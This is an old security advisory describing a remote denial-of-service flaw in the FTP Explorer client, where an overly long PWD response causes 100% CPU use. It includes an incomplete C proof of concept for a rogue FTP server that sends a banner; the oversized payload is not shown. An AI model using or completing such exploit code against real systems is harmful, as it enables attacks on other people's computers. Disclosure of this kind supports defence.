FTP Explorer Remote DoS (Exploit, CPU consumption)
21 Feb. 2007
Summary
FTP Explorer is "a file transfer protocol client for Windows 98/ME/2000/XP and NT 4.0, that looks and acts very much like the Windows Explorer, offering a fun way to FTP. FTP Explorer is the original 'explorer style' FTP client for Windows". A vulnerability in FTP Explorer allows remote attackers to cause the program to consume large amounts of CPU time by sending it an overly large PWD response.
Exploit:
/*****************************************
* FTP Explorer 1.0.1 Build 047 Remote DoS (CPU consumption) *
* *
* FTP Explorer is prone to a DoS after receiving a long PWD response leading to *
* 100% CPU consumption. *
* Have Fun! *
* *
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
******************************************/
printf("[+] FTP Explorer Remote CPU consumption DoS\n");
printf("[+] Coded and discovered by Marsu <Marsupilamipowa@hotmail.fr>\n");
printf("[*] Listening on port 21 ...\n");
listen(server,5);
printf("[*] Waiting for client ...\n");
client=accept(server,NULL,NULL);
printf("[+] Client connected\n");
memcpy(evilbuff,"220 Hello there\r\n\0",18);
if (send(client,evilbuff,strlen(evilbuff),0)==-1)
{
printf("[-] Error in send!\n");
exit(-1);
}
